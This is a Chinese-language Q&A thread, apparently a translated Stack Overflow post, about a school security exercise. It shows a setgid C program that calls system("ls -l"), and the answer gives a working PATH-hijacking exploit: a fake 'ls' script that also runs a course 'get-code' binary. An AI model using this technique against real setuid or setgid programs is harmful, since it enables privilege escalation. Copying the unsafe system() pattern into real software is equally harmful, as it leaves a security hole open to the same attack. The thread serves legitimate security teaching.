使用修改的ls来执行另一个程序

时间:2014-03-11 08:09:08

标签: c linux shell terminal ls

我收到了修改后的ls

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char **argv){
    gid_t egid = getegid();
    setregid(egid, egid);
    printf("This is a special NSA-modified 'ls' program. Due to security reasons it can only run 'ls' without user parameters.\n");
    system("ls -l");
    return 0;
}

我需要运行修改后的ls来运行一个名为get-code的程序,但我不知道如何欺骗此代码中的system函数不仅执行{{ 1}}还有ls -l。这是一个从学校开始的课程,我可以在网上向老师询问,课程是如何更好地保护课程,不要在代码中留下任何安全漏洞。

有人能帮助我吗?这不是一个重复我只是想知道如何欺骗get-code所以我可以使用这个system代码执行它

1 个答案:

答案 0 :(得分:0)

您可以创建本地ls,例如

#!/bin/bash

/bin/ls -l
/courses/InetSec1/challenge6/get-code

然后将此脚本(您应该将其命名为ls并运行chmod a+x ls以向其添加执行权限)放在某个目录中,例如~/bin/,并将此目录添加到您的路径export PATH=$HOME/bin:$PATH

在此之后,如果再次运行该程序,它将运行本地ls,因为system()将在子shell下运行您的命令,并且该shell将搜索在{{中运行所需的命令1}}。

Modify a program I'm not the owner of

中给出的答案
相关问题